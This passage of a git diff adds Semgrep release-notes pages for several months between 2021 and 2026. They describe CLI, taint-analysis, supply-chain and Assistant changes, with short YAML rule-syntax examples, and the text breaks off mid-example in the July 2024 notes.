+ - **Python**: Only Poetry is supported.
+ Reach out to [Semgrep Support](/support) to join the beta program.
+- **C#**: Semgrep can now scan NuGet codebases without the need for a lockfile. This feature is in **private beta**. See also [Scan a project without lockfiles](/semgrep-supply-chain/getting-started#scan-a-project-without-lockfiles-beta). Reach out to [ support@semgrep.com](mailto:support@semgrep.com) to join the beta program.
+- Semgrep now ingests CVE information from [ Electron release notes](https://releases.electronjs.org/releases/stable). This information is used to generate rules that can detect if you're affected by CVEs from this source.
+
+### Changed
+
+- Semgrep Supply Chain [Policies](/semgrep-supply-chain/policies) are now in public beta. Creating a policy enables you to:
+ - Customize when Semgrep sends a finding as a PR or MR comment or fails the CI job.
+ - Customize the projects and conditions that send a comment or fail a CI job.
+
+### Fixed
+
+- Fixed bug where Supply Chain diff-aware scans of `package-lock.json` v2 projects incorrectly produced non-new findings.
+
+## 🤖 Semgrep Assistant
+
+### Added
+
+- **Noise filtering** is now in public beta. With Noise Filtering, Assistant evaluates each Semgrep Code finding to determine if it's a true positive using additional context and prevents a PR comment from being posted in the developer workflow if it's not.
+- **Auto-triage Memories** is now in public beta. With this feature, you can identify findings that are safe to ignore and write triage notes indicating why this is so. Assistant then stores this information as a memory and uses it to assess whether similar findings are shown to developers in the future. Assistant also takes that memory, reanalyzes similar findings in your backlog, and suggests issues that may be safe to close.
+
+## 📝 Documentation and knowledge base
+
+### Added
+- Added the following new documents, articles, and sections:
+ - Set up [Semgrep Managed Scans with Azure DevOps](/deployment/managed-scanning/azure).
+ - [Semgrep for developers](/for-developers/overview), a new series of documents that aims to:
+ - Help AppSec engineers educate developers about Semgrep and secure coding.
+ - Inform developers of how to resolve Semgrep findings in various environments, such as their pull requests or merge requests.
+ - [Semgrep Assistant metrics](/semgrep-multimodal/metrics), which explains how Assistant's metrics and benchmarks are analyzed.
+ - [SAML single-sign on with Google Workspace](/kb/semgrep-appsec-platform/saml-google-workspace).
+ - [Reference for Semgrepignore v2](/semgrepignore-v2-reference).
+ - [Customize semgrep in `pre-commit`](/kb/integrations/customize-semgrep-precommit).
+- Minor additions and updates:
+ - Added instructions to remove projects scanned with Semgrep Managed Scans.
+- Major updates have been made to the following documentation:
+ - [Supported languages](/supported-languages) now provides a summary table for both Code and Supply Chain features for each language.
+- Thanks to [savq](https://github.com/savq) for their improvements to Semgrep's contributing documentation.
+
+### Changed
+
+- Clarified language around manifest files and lockfiles.
+- Updated Semgrep rules licensing documentation.
+
+### Removed
+
+- Removed references to the asdf-semgrep plugin.
+
+## 🔧 Semgrep Community Edition (CE)
+
+* The following versions of Semgrep CE were released in January 2025:
+
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/january-2026.mdx b/mintlify-docs/release-notes/january-2026.mdx
new file mode 100644
index 0000000000..3b46402899
--- /dev/null
+++ b/mintlify-docs/release-notes/january-2026.mdx
@@ -0,0 +1,88 @@
+---
+title: "January 2026"
+description: "February 4, 2026 · 4 min read"
+rss: true
+---
+
+The following updates were made to Semgrep in January 2026.
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- You must now authenticate through OAuth when connecting to the MCP server using Streamable HTTP.
+- **CLI**:
+ - Improved the performance of scan planning by reducing the cost of re-hashing `Target` objects. Semgrep's performance improvement on scans of large projects is proportional to the number of files in the project.
+ - In `--debug` mode, Semgrep warns you if you attempt to run a parallel scan with a larger value for `-j`/`--jobs` than the number of CPUs Semgrep has detected as available for use.
+ - Semgrep now provides a suggested starting value for `-j`/`--jobs`.
+ - `semgrep login` now supports the use of `--force`, which ignores existing tokens and starts a new login session.
+
+### Changed
+
+- Semgrep AppSec Platform's **Findings** page displays more descriptive rule group names, and the **Finding Details** page displays more descriptive rule names. For example, `sequelize-express` is now `SQL injection in Sequelize with Express`.
+- The MCP server no longer supports SSE transport.
+- **CLI**:
+ - Semgrep's CLI tool now uses `uv` instead of `pipenv` for package management.
+ - `semgrep ci` no longer applies autofixes to local projects, even if the **Suggest autofixes** toggle in Semgrep AppSec Platform is turned on.
+
+### Fixed
+
+- Fixed an issue where time filters didn't return the correct findings.
+- Fixed an issue where Semgrep didn't consistently select the same findings across scans when deduplicating findings. Previously, the selected findings were always equivalent, but they weren't guaranteed to be identical. For example, the findings' metavariable bindings could differ. Depending on the rule used and the target code, this behavior could cause the fingerprints of findings to change from one scan to another.
+- Fixed an issue where email addresses used for SSO were case sensitive.
+- Fixed an issue where Semgrep AppSec Platform displayed non-shared GitLab projects for the group.
+
+## 💻 Semgrep Code
+
+### Fixed
+
+- Improved the handling of parsing errors during interfile analysis. These errors are now reported to you and included in the JSON output.
+- Fix an issue resulting in `bad file descriptor` errors when performing Git operations on Windows machines.
+- **Java**: improved virtual method resolution.
+- **Python**: Dataflow analysis now accounts for `for/else` and `while/else` loops.
+- **Scala**: improved virtual method resolution.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- Semgrep’s reachability analysis now covers all **critical** and **high** severity CVEs from supported sources starting in 2017 across **all** supported languages.
+- Diff-aware scans are now faster because Git-untracked files no longer slow down subproject discovery.
+- Added support for Gradle lockfiles of the form `gradle*.lockfile`. Previously, only files with the exact name `gradle.lockfile` were supported.
+
+### Changed
+
+- Dependency search now allows you to search for one or more packages using:
+ - The name of the package
+ - An exact version number
+ - A range of version numbers
+
+### Fixed
+
+- Improved the performance of Supply Chain scans by reducing pre-computation when printing scan status information. Note that less information is displayed if there are no rules to run.
+- Fixed an issue with version range matching for `npm` packages where the version number contained a pre-release identifier, such as `-alpha` in `1.2.3-alpha`.
+
+## 🤖 Semgrep Assistant
+
+### Added
+
+- Members can now create suggested memories for Assistant when triaging findings in Semgrep AppSec Platform. Previously, only admins could do so.
+
+### Fixed
+
+- Fixed an issue where code suggestions that involved removing code didn't render in the diff correctly.
+
+## 📝 Documentation and knowledge base
+
+- Minor updates and fixes.
+
+## 🔧 OSS Engine
+
+* The following versions of the OSS Engine were released in January 2026:
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/release-notes/july-2021.mdx b/mintlify-docs/release-notes/july-2021.mdx
new file mode 100644
index 0000000000..0ae740c85f
--- /dev/null
+++ b/mintlify-docs/release-notes/july-2021.mdx
@@ -0,0 +1,64 @@
+---
+title: "July 2021"
+description: "July 30, 2021 · 2 min read"
+rss: true
+---
+
+
+## Version 0.60.0
+
+### Additions
+
+- Detect duplicate keys in YAML dictionaries in Semgrep rules when parsing a rule (for example detect multiple metavariable inside one metavariable-regex).
+
+### Fixes
+
+C/C++: Fixed stack overflows (segmentation faults) when processing very large files ([#3538](https://github.com/semgrep/semgrep/issues/3538))
+
+- JavaScript: Fixed stack overflows (segmentation faults) when processing very large files ([#3538](https://github.com/semgrep/semgrep/issues/3538))
+- JavaScript: Detect numeric object keys 1 and 0x1 as equal ([#3579](https://github.com/semgrep/semgrep/issues/3579))
+- OCaml: improved parsing stats by using tree-sitter-ocaml (from 25% to 88%)
+- taint-mode: Check nested functions
+- taint-mode: foo.x is now detected as tainted if foo is a source of taint
+- taint-mode: Do not crash when it is not possible to compute range info
+- Rust: recognize ellipsis in macro calls patterns ([#3600](https://github.com/semgrep/semgrep/issues/3600))
+- Ruby: correctly represent a.(b) in the AST ([#3603](https://github.com/semgrep/semgrep/issues/3603))
+
+### Changes
+
+- Added precise error location for the Semgrep metachecker, for example to detect duplicate patterns in a rule.
+
+## Version 0.58.2
+
+### Additions
+
+- New iteration of taint-mode that allows to specify sources/sanitizers/sinks using arbitrary pattern formulas. This provides plenty of flexibility. Note that we breaks compatibility with the previous taint-mode format, e.g., - source(...) must now be written as - pattern: source(...).
+- Experimental support for HTML. This does not rely on the generic mode but instead parses the HTML using tree-sitter-html. This allows some semantic matching (e.g., matching attributes in any order).
+- js alpha support ([#1751](https://github.com/semgrep/semgrep/issues/1751))
+- New matching option implicit_ellipsis that allows disabling the implicit ... that are added to record patterns, plus allow matching "spread fields" (JS ...x) at any position ([#3120](https://github.com/semgrep/semgrep/issues/3120))
+- Support globstar (**) syntax in path include/exclude ([#3173](https://github.com/semgrep/semgrep/pull/3173))
+
+### Fixes
+
+- Apple M1: Semgrep installed from Homebrew no longer hangs ([#2432](https://github.com/semgrep/semgrep/issues/2432))
+- Ruby command shells are distinguished from strings ([#3343](https://github.com/semgrep/semgrep/issues/3343))
+- Java varargs are now correctly matched ([#3455](https://github.com/semgrep/semgrep/issues/3455))
+- Support for partial statements (e.g., try \{ ... \}) for Java ([#3417](https://github.com/semgrep/semgrep/issues/3417))
+- Java generics are now correctly stored in the AST ([#3505](https://github.com/semgrep/semgrep/pull/3505))
+- Constant propagation now works inside Python with statements ([#3402](https://github.com/semgrep/semgrep/issues/3402))
+- Metavariable value replacement in message/autofix no longer mixes up short and long names like $X vs $X2 ([#3458](https://github.com/semgrep/semgrep/issues/3458))
+- Fixed metavariable name collision during interpolation of message / autofix ([#3483](https://github.com/semgrep/semgrep/pull/3483)) Thanks to[@Justin Timmons](https://r2c-community.slack.com/team/U026SUZKJ8Z) for the fix!
+- Revert pattern: $X optimization ([#3476](https://github.com/semgrep/semgrep/issues/3476))
+- metavariable-pattern: Allow filtering using a single pattern or pattern-regex
+- Dataflow: Translate call chains into IL
+
+### Changes
+
+- Significant speed improvements (noted above)
+- The size of the semgrep-core the binary is now 95 MB (was 170 MB in v0.58.0) and a smaller Docker image (from 95 MB to 40 MB)
+- The --debug option now displays which files are currently processed incrementally; it will not wait until semgrep-core completely finishes.
+- Switch from OCaml 4.10.0 to OCaml 4.12.0
+- Faster matching times for generic mode
+
+- Better error message when rule contains empty pattern
+
diff --git a/mintlify-docs/release-notes/july-2022.mdx b/mintlify-docs/release-notes/july-2022.mdx
new file mode 100644
index 0000000000..d4e5733829
--- /dev/null
+++ b/mintlify-docs/release-notes/july-2022.mdx
@@ -0,0 +1,93 @@
+---
+title: "July 2022"
+description: "July 30, 2022 · 6 min read"
+rss: true
+---
+
+
+## Semgrep App
+
+### Additions
+
+- Semgrep App now integrates with Slack through a Slack app. To create a new integration, go to **Settings** > **Integrations** > **Add Integration** > **Slack**. Previously, Semgrep App used Slack webhooks.
+- Enable autofix for all of your Projects (repositories connected to Semgrep App) by clicking on **Settings** > **Deployment** > **Autofix**.
+
+### Changes
+
+- Clicking on the Project Name in the Projects page now takes you to that project's Findings page. Click the **gear** icon at the end of the Project's row to go to the project's Settings page.
+- Semgrep App detects additional environment variables depending on your provider. This simplifies the creation and committing of the configuration file when adding a new Project (repository) in Semgrep App.
+- UI and UX improvements to **Scan new project** workflow.
+
+## Semgrep CLI
+
+These release notes include upgrades for all versions ranging between 0.102.0 and 0.107.0.
+
+### Additions
+
+- Semgrep in CI:
+ - Fail-open support: Added `--suppress-errors` and `--no-suppress-errors` (the default is `--suppress-errors`). See [Configuring blocking findings and errors](/semgrep-ci/configuring-blocking-and-errors-in-ci) for more information.
+ - Semgrep in CI does not block builds on triage ignored issues.
+ - The timeout for Git commands Semgrep runs is now configurable. To configure the timeout, set the `SEMGREP_GIT_COMMAND_TIMEOUT` environment variable. The time unit used as a value for this key is in seconds. The default value is `300` which represents 5 minutes.
+ - The `SEMGREP_GHA_MIN_FETCH_DEPTH` environment variable lets you set how many commits `semgrep ci` fetches from the remote at the minimum when calculating the merge-base in GitHub Actions. Having more commits available helps Semgrep determine what changes came from the current pull request, fixing issues where Semgrep would otherwise report findings that were not touched in a given pull request. This value is set to 0 by default. (Issue [#5664](https://github.com/semgrep/semgrep/pull/5664))
+ - The `cli/scripts/compare.py` to compare rules for different versions of Semgrep is now supported on Podman environments. For more information, see [Contributing rules](/contributing/contributing-to-semgrep-rules-repository) documentation.
+
+- Extract mode:
+ - New Semgrep CLI experimental extract mode. This mode runs a Semgrep rule on a codebase and extracts code from matches, treating it as a different language. This allows you to supplement an existing set of rules, for example, by writing additional rules to find JavaScript in files of a different language than JavaScript. Among many possible use cases, this enables you to write rules for HTML code in JavaScript code or in template files. While this is somewhat possible with `metavariable-pattern`, this reduces the work from an M \* N problem to an M \+ N. To know more about extract mode, see [Extract mode](/writing-rules/experiments/deprecated-experiments#extract-mode) documentation.
+ - Extract mode now has a concatenation reduction (`concat`). Disjoint snippets within a file can be treated as one unified file.
+ - You can use extract mode to scan for generic languages (use value `generic` in `dest-language`).
+
+- Taint mode:
+ - Add experimental support for _taint labels_, which is the ability to attach labels to different kinds of taint. Both sources and sinks can restrict what labels are present in the data that passes through them in order to apply. This allows you to write more complex taint rules that previously required unappealing workarounds. Taint labels are also helpful for writing certain classes of typestate analyses (for example, check that a file descriptor is not used after being closed).
+ - Introduced the `--dataflow-traces` flag, which directs the Semgrep CLI to explain how non-local values lead to a finding. Currently, this only applies to taint mode findings and it traces the path from the taint source to the taint sink.
+ - Added taint traces as part of Semgrep JSON output. This helps explain how the sink became tainted.
+
+- General and language support additions:
+ - Semgrep has an experimental support for **Elixir** language!
+ - Scala: Ellipsis are now allowed in for loop function headers, allowing you to write patterns such as `for (...; $X <- $Y if $COND; ...) { ... }` to match nested for loops. (Issue [#5650](https://github.com/semgrep/semgrep/issues/5650))
+ - Kotlin: Support for ellipsis in field access (for example, `obj. ... .bar()`).
+ - For users logged-in under `semgrep login` while using Semgrep App. Semgrep now reports file extensions from App-connected scans that do **not** match the language of any enabled rule. This addition can make the development of new rules more effective by improving language prioritization.
+ - Previously, expression statement patterns (for example `foo();`) were always matching when the expression statement was a bit deeper in the expression (for example, `x = foo();`). This default behavior can now be disabled through rule `options:` with `implicit_deep_exprstmt: false` in rules YAML file. (Issue [#5472](https://github.com/semgrep/semgrep/issues/5472))
+ - LSP support: Improving **experimental** Language Server Protocol (LSP) support for metavariable inlay hints, hot reloading, App integration, scan commands, and much more!
+
+### Changes
+
+- Breaking changes in the `dataflow_trace` JSON output to make it more easily consumable by Semgrep App. Added content for `taint_source` and `intermediate_vars`, and collapsed the multiple `taint_source` locations into one.
+
+- General performance improvements:
+ - Semgrep significantly reduced its memory consumption in large repositories!
+
+- metavariable-comparison:
+ - The `metavariable-comparison` allows you to strip `'`, `"`, and `` ` `` from the metavariable content, enabling you to scan for strings containing integer or float data. See [metavariable-comparison](/writing-rules/rule-syntax#metavariable-comparison) documentation to get more information. With this update, the `metavariable` field is now only required for `strip: true`. You are no longer required to include the `metavariable` field for the default `strip: false`.
+ - The `metavariable-comparison` now also works on metavariables that cannot be evaluated as simple literals. In such cases, Semgrep takes the string representation of the code bound by the metavariable. Use this string representation through `str($MVAR)`. For example:
+
+ ```yaml
+ - metavariable-comparison:
+ metavariable: $X
+ comparison: str($X) == str($Y)
+ ```
+
+ In this example, `$X` and `$Y` can bind to two different code variables and Semgrep checks whether these two code variables have the same name (for example two different variables but both named `x`).
+
+- metavariable-pattern:
+ - Metavariable-pattern now uses the same metavariable context as its parent. This can cause breaking changes for rules that reuse metavariables in the pattern. For example, consider the following formula:
+
+ ```yaml
+ - patterns:
+ - pattern-either:
+ - pattern-inside: $OBJ.output($RESP)
+ - pattern: $RESP
+ - metavariable-pattern:
+ metavariable: $RESP
+ pattern: `...{ $OBJ }...`
+ ```
+
+ Previously, the `$OBJ` in the metavariable-pattern was a new metavariable. The formula behaved the same if that `$OBJ` was `$A` instead. Now, `$OBJ` unifies with the value bound by `$OBJ` in the pattern-inside.
+
+- Using the ellipses operator in XML or HTML elements is now more permissive of whitespace. Previously, in order to have an element with an ellipsis no leading or trailing whitespace was permitted in the element contents, for example `...` was the only permitted form. Now, leading or trailing whitespace is ignored when the substantive content of the element is only an ellipsis.
+- `--verbose` no longer displays timing information, use `--verbose --time` to display the timing.
+- The `semgrep --test` output produced expected lines and reported lines that were difficult to read and interpret. This change introduces missed and incorrect lines making it easier to see the differences in output. See more information about the `semgrep --test` in the [Testing rules](/writing-rules/testing-rules) documentation.
+
+#### Additional information
+
+Bug fixes are not included in the release notes unless they are potentially breaking your workflow. To see the complete change notes for Semgrep CLI and CI that include fixes, visit the [Semgrep changelog](https://github.com/semgrep/semgrep/releases/).
+
diff --git a/mintlify-docs/release-notes/july-2023.mdx b/mintlify-docs/release-notes/july-2023.mdx
new file mode 100644
index 0000000000..98784ae576
--- /dev/null
+++ b/mintlify-docs/release-notes/july-2023.mdx
@@ -0,0 +1,232 @@
+---
+title: "July 2023"
+description: "July 30, 2023 · 8 min read"
+rss: true
+---
+
+
+## Semgrep OSS Engine
+
+This section of release notes includes upgrades of Semgrep OSS Engine for versions between **1.31.0** and **1.34.1**.
+
+### Added
+
+* Added rule option `interfile: true`, which is set under the `options` key. This is now the preferred method of setting `interfile` to `true`. While `interfile` can still be set under the `metadata` key, this should be avoided because metadata is not meant to have any effect on how a rule is run.
+* Added new `--legacy` flag to force the use of the Python implementation of Semgrep (also known as 'pysemgrep'). Note that by default most `semgrep` commands are still using the Python implementation (except `semgrep interactive`), so in practice you don't need to add this flag, but as Semgrep Inc. ports more commands to OCaml, the new `--legacy` flag might be useful if you find some regressions.
+* Julia: Added support for metavariable type.
+* PromQL (Prometheus Query Language): Initial language support. Thank you to [Michael Hoffman](https://github.com/MichaHoffmann) for his contribution! ([#8281](https://github.com/semgrep/semgrep/pull/8281))
+
+* PromQL: Added `parse_promql_duration` function to convert a PromQL duration into milliseconds([#8381](https://github.com/semgrep/semgrep/pull/8381)). This makes it possible to write comparisons such as:
+ ```yaml
+ - metavariable-comparison:
+ metavariable: $RANGE
+ comparison: parse_promql_duration(str($RANGE)) > parse_promql_duration("1d")
+ ```
+* `.h` files now run when C or C++ are selected as the language.
+* `.cjs` and `.mjs` files now run when JavaScript is selected as the language.
+* Rule syntax: Added metavariable type extension for Semgrep Rule Syntax 2.0 (also known as Experimental Semgrep Syntax). This addition introduces recent changes in Semgrep rule syntax 1.0 to the experimental syntax as well. ([#8183](https://github.com/semgrep/semgrep/issues/8183))
+ ```yaml
+ # previous rule syntax 2.0
+ rules:
+ - id: no-string-eqeq
+ message: find errors
+ severity: WARNING
+ languages:
+ - java
+ match:
+ all:
+ - not: null == (String $Y)
+ - $X == (String $Y)
+ ```
+ ```yaml
+ # new additions to rule syntax 2.0 (experimental syntax)
+ rules:
+ - id: no-string-eqeq
+ message: find errors
+ severity: WARNING
+ languages:
+ - java
+ match:
+ all:
+ - not: null == $Y
+ - $X == $Y
+ where:
+ - metavariable: $Y
+ type: String
+ ```
+* Taint analysis: Parameters to functions in languages with pattern matching in function arguments, such as Rust and OCaml, now transmit taint when they are sources. This works with nested patterns too. For example, in Rust:
+ ```rust
+ fn f ((x, (y, z)): t) {
+ let x = 2;
+ }
+ ```
+ Tainting the sole argument to this function results in all of the identifiers `x`, `y`, and `z` now being tainted. ([#8216](https://github.com/semgrep/semgrep/pull/8216))
+* Rust: Added support for ellipsis patterns in attribute argument positions. For example, `#[get(...)]`. ([#8148](https://github.com/semgrep/semgrep/pull/8234))
+* Rust: Added typed metavariable support for Rust. Users can create `TypedMetavar` using Rust's type annotation syntax `:`. For example, the following rule works for matching `HttpResponseBuilder` type of variables:
+ ```yaml
+ rules:
+ - id: no-direct-response-write
+ patterns:
+ - pattern: '($BUILDER : HttpResponseBuilder).body(...)'
+ - pattern-not: '($BUILDER : HttpResponseBuilder).body("...".to_string())'
+ message: find dangerous codes
+ severity: WARNING
+ languages: [rust]
+ ```
+* Rust: Added the ability to taint macro calls through its arguments, in macro calls with multiple arguments. (#[8209](https://github.com/semgrep/semgrep/pull/8209))
+* Matching: Added the ability to use metavariables in parameters to match more sophisticated kinds of parameters. In particular, metavariables should now be able to match `self` parameters, such as in Rust. For example:
+ ```rust
+ fn $F($X, ...) { ... }
+ ```
+ should match:
+ ```rust
+ fn $F(self) { }
+ ```
+* Added support for naming propagation when the left-hand side (LHS) of a variable definition is an **identifier pattern**. In certain languages such as Rust, the variable definition is parsed as a pattern assignment, for example:
+ ```rust
+ let x: SomeType = SomeFunction();
+ ```
+ This commit ensures that the annotated type is propagated to the identifier pattern on the left-hand side (LHS) of the assignment, thus ensuring proper naming behavior.
+* **Taint-mode:** Added experimental `control: true` option to `pattern-sources`. For example:
+ ```yaml
+ pattern-sources:
+ - control: true
+ pattern: source(...)
+ ```
+ * Such sources taint the "control flow" (or the program counter) so that it is possible to implement reachability queries that do not require the flow of any data. Thus, Semgrep reports a finding in the code below, because after source() the flow of control will reach sink(), even if no data is flowing between both:
+ ```yaml
+ def test():
+ source()
+ foo()
+ bar()
+ #ruleid: test
+ sink()
+ ``` (pa-2958)
+* Taint mode: Taint sanitizers will be included in matching explanations. ([#8383](https://github.com/semgrep/semgrep/issues/8383))
+
+### Fixed
+
+- Dockerfile language support: String matching is now done by contents, treating the strings `foo`, `'foo'`, or `"foo"` as equal. ([#8229](https://github.com/semgrep/semgrep/pull/8229))
+- Dockerfile: Single-quoted strings are now parsed without an error. ([#7780](https://github.com/semgrep/semgrep/pull/7780))
+- Julia: Fixed a bug where try-catch patterns would not match properly. Now, you can use an empty try-catch pattern, such as:
+ ```julia
+ try
+ ...
+ catch
+ ...
+ end
+ ```
+ to catch only Julia code which does not specify an identifier for the catch.
+ - Otherwise, if you want to match any kind of try-catch, you can specify an ellipsis for the catch identifier instead:
+ ```julia
+ try
+ ...
+ catch ...
+ ...
+ end
+ ```
+ and this matches any try-catch, including those that do not specify an identifier for the catch. It is strictly more general than the previous.
+- TypeScript and JavaScript: Fixed an issue leading to incorrect autofix results involving JS/TS async arrow functions, for example, `async () => {}` ([#7353](https://github.com/semgrep/semgrep/pull/7353))
+- Go: Fixed issue with patterns such as:
+ - `make(...);`
+ - `make(...,$X);`
+ - `make($A,$B)` ([#8171](https://github.com/semgrep/semgrep/pull/8171))
+- Rust: Fixed an issue where implicit returns did not allow taint to flow, and various other small translation issues that would affect taint. ([#8325](https://github.com/semgrep/semgrep/pull/8325))
+- Rust: Fixed attribute patterns to allow matching on simple attribute syntax. ([#8234](https://github.com/semgrep/semgrep/pull/8234))
+- Rust: Fixed a bug where standalone metavariable patterns were not matching as expected. ([#8206](https://github.com/semgrep/semgrep/pull/8206))
+- Rust: Macro calls which involve dereferencing and reference operators (such as `foo!(&x)` and `foo!(*x)`) now properly transmit taint.
+- Fixed Python Semgrep pattern parsing to also parse match statements, by chaining in the Python tree-sitter parser, and adding metavariable support to the Python tree-sitter parser.
+- Aliengrep mode: Fix whitespace bug preventing correct matching of parentheses. ([#7990](https://github.com/semgrep/semgrep/pull/7990))
+- Fixed stack overflow caused by symbolic propagation.
+
+
+### Removed
+
+- **Dart** has been removed from experimental support.
+
+## Semgrep Cloud Platform
+
+### Added
+
+- Jira integration is now in **private beta** for existing customers.
+ - You can **create Jira tickets** from Semgrep Cloud Platform by following steps in the [Jira integration documentation](/semgrep-appsec-platform/jira).
+ - To enable this feature:
+
+ a. Fill out the following form: [Request access to the Semgrep Jira integration private beta](https://get.semgrep.dev/Jira-private-beta.html).
+
+ b. Contact your Technical Account Manager or your Account Executive and let them know you'd like to try out the Jira integration.
+
+- Usage limits are now in effect as of July 31, 2023. See the [Usage](/usage-and-billing/overview) document to learn more.
+- Various bugfixes and improvements.
+
+## Semgrep Code
+
+### Added
+
+- Added **open findings** column to the **Policies** page. This column displays the count of open findings for each rule in your Policies. With this column, you can quickly see which rules are producing the most or least amount of findings.
+- Added **fix rate** column to the **Policies** page. This column displays a percentage of resolved fixes associated with the rule, or "-" if there are no findings for that rule.
+- Added **Label** as its own column in the **Policies** page.
+- Added icons for **Severity** and **Source** columns in the **Policies** page. The following icons can be seen in the **Source** columns:
+ - Custom rules
+ - Community rules
+ - Semgrep Pro rules
+
+
+
+
+
+### Changed
+
+- **Policies** page: Rules are now sorted by mode, then by custom rules, then by Semgrep Pro rules, then by Community rules.
+- Targets in a `.yarn/` folder or directory are now ignored by the default `.semgrepignore` patterns.
+
+### Fixed
+
+- Fixed an issue with the **Findings** page > **Triage** button in which the **Ignore** button was previously disabled when the **NOTE** or **Comment** textbox was empty. It has been fixed to let users **Ignore** the finding without filling the text box.
+
+### Removed
+
+- The **Rule board** has been deprecated and removed. The [Policies page](/semgrep-code/policies) is now the default and sole page for rule management in Semgrep Cloud Platform.
+
+## Semgrep Supply Chain
+
+### Fixed
+
+- Fixed bug in `gradle.lockfile` parser where Semgrep Supply Chain previously threw errors on `empty=` with nothing after it.
+- `poetry.lock` parsing: Semgrep Supply Chain now correctly handles empty `toml` tables, quoted table keys, and arbitrarily placed comments.
+- Exceptions raised during parsing of manifest files no longer interrupt general parser execution, which previously prevented lockfile parsing if a manifest failed to parse.
+
+## Semgrep Assistant
+
+### Added
+
+- Semgrep Assistant is now in public beta. Semgrep Assistant is available to any user of Semgrep Cloud Platform. To try it out, see [Enabling Semgrep Assistant](/semgrep-multimodal/getting-started).
+- Semgrep Assistant now suggests **rule categories** for your rules through the **Assistant recommendations** in the **Dashboard page**. Click the **Accept** button for Semgrep Assistant to automatically update the rule with its suggested category.
+
+## Documentation and knowledge base updates
+
+### Added
+
+- Semgrep documentation has added ChatGPT-4 as an experimental means for users to learn about Semgrep. Click the ** floating chat icon** and enter a question to receive answers and sources for those answers. This service is powered by [Markprompt](https://markprompt.com).
+- Added the following documentation articles:
+ - [Semgrep integration guide for partners](/integrating): Use these guidelines to add Semgrep OSS to your tooling, developer stack, or infrastructure.
+- Added the following knowledge base articles:
+ - [Semgrep scan troubleshooting](/kb/semgrep-code/semgrep-scan-troubleshooting)
+ - [Resolving SSO error BadRequest: Missing attribute](/kb/semgrep-appsec-platform/sso-attribute-error)
+ - [How to run different versions of Semgrep](/kb/semgrep-code/run-specific-version)
+ - [Importing Semgrep findings into DefectDojo](/kb/integrations/defect-dojo-integration)
+ - [Why did the comments on a PR or MR not appear inline?](/kb/semgrep-appsec-platform/inline-pr-comments)
+ - [Why aren't findings populating in the GitHub Advanced Security Dashboard after running Semgrep in CI?](/kb/semgrep-ci/github-upload-findings-in-security-dashboard)
+- Added explicit steps to [publish **private rules** in the Semgrep Registry](/writing-rules/private-rules).
+- Added a new section on [metavariable-type](/writing-rules/experiments/metavariable-type).
+- Various piecemeal updates.
+
+### Changed
+
+- Migrated troubleshooting articles from Semgrep documentation to the knowledge base.
+- Updated Semgrep Assistant for Code docs to reflect its public beta status and new self-serve flow.
+
+### Fixed
+
+- Various typographic and layout fixes.
+
diff --git a/mintlify-docs/release-notes/july-2024.mdx b/mintlify-docs/release-notes/july-2024.mdx
new file mode 100644
index 0000000000..b7b9503e12
--- /dev/null
+++ b/mintlify-docs/release-notes/july-2024.mdx
@@ -0,0 +1,207 @@
+---
+title: "July 2024"
+description: "July 30, 2024 · 6 min read"
+rss: true
+---
+
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- A new **dashboard** focused on secure guardrails adoption is now in private beta. Find out what percent of findings are fixed before they enter your default or primary branch. To join the private beta, reach out to your Technical Account Manager or Account Executive. See the [Dashboard documentation](/semgrep-appsec-platform/dashboard) for more information.
+
+ 
+
+- Added support for the following source code managers (SCMs):
+ - Azure DevOps
+ - Bitbucket Cloud
+ - Bitbucket Data Center
+ With these changes, it is easier for you to add repositories from these SCMs to Semgrep.
+- Semgrep Managed Scans:
+ - You can now view your most recent scan log.
+ - You can enable or disable diff-aware scans for PRs and MRs.
+- Semgrep API:
+ - There is a new public endpoint `/v1/scan/:id`, which returns the metadata from `first_seen_scan`.
+ - Added `ecosystem` field to public findings API response. It is under `found_dependency`.
+
+### Changed
+
+- Improved the new user onboarding experience for GitHub users. Changes to the onboarding flow include copy fixes to the instructions and the faster addition of Semgrep to your repository's CI pipeline.
+- Updated the **findings details** page.
+- Updated GHA sample workflows to use `setup-node@v4`.
+- Various performance improvements to Semgrep Managed Scans.
+- Projects on Semgrep Managed Scans now use the `managed-scan` tag instead of `autoscan`.
+- Improvements to API documentation.
+
+### Fixed
+
+- Fixed an issue in the Editor or Playground in which Turbo mode could return an `undefined` object.
+- Fixed an issue in which **Add other GitHub organization** wouldn't redirect to the correct URL.
+- Minor type fixes to the Policies page.
+
+## 💻 Semgrep Code
+
+### Added
+
+- Added the `--exclude-minified-files` flag to enable skipping minified files and the `--no-exclude-minified-files` flag to include minified files during scans triggered by running `semgrep ci` and `semgrep scan`. By default, Semgrep scans minified files.
+- Added `as-metavariable`, a new rule-writing feature that allows rule writers to bind arbitrary matches to a name and then use it with autofixes.
+- **Python**: Added support for [Flask](https://semgrep.dev/p/flask), [Django](https://semgrep.dev/p/django), and [FastAPI](https://semgrep.dev/p/fastapi).
+- Added community support for [Move](https://aptos.dev/en/build/smart-contracts).
+- Added community support for [Circom](https://docs.circom.io/circom-language/signals/).
+
+### Changed
+
+- Improved module resolution for Python scans so that imports like `from a.b import c`, where `c` is a module, resolve correctly.
+- Improved error handling for rules with invalid patterns so that scans still complete and findings from other rules are reported.
+- **CLI**:
+ - Users must sign in before running `semgrep scan --pro`. Scans will not begin until the user signs in.
+ - The `--debug` option now displays logging information incrementally instead of waiting for the scan to complete.
+
+### Fixed
+
+- Fixed an issue where Semgrep Managed Scanning would occasionally hang.
+- Fixed an issue where users couldn't pass in the `--junit-xml-output` flag.
+- Fixed an issue with the `--pro-intrafile` flag that caused Semgrep to confuse parameters
+with top-level functions with no arguments when both share a name:
+ ```js
+ def foo
+ taint
+ end
+
+ def bar(foo)
+ sink(foo) # no more false positive here
+ end
+ ```
+- Semgrep is stricter when unifying identifiers. For example, this pattern doesn't work because the `foo` methods in classes `A` and `B` aren't the same. As such, their IDs aren't unifiable through `$F`:
+ ```yaml
+ patterns:
+ - pattern-inside: |
+ class A:
+ ...
+ def $F(...):
+ ...
+ ...
+ ...
+ - pattern-inside: |
+ class B:
+ ...
+ def $F(...):
+ ...
+ ...
+ ...
+ ```
+ should be rewritten as follows:
+ ```yaml
+ patterns:
+ - pattern-inside: |
+ class A:
+ ...
+ def $F1(...):
+ ...
+ ...
+ ...
+ - pattern-inside: |
+ class B:
+ ...
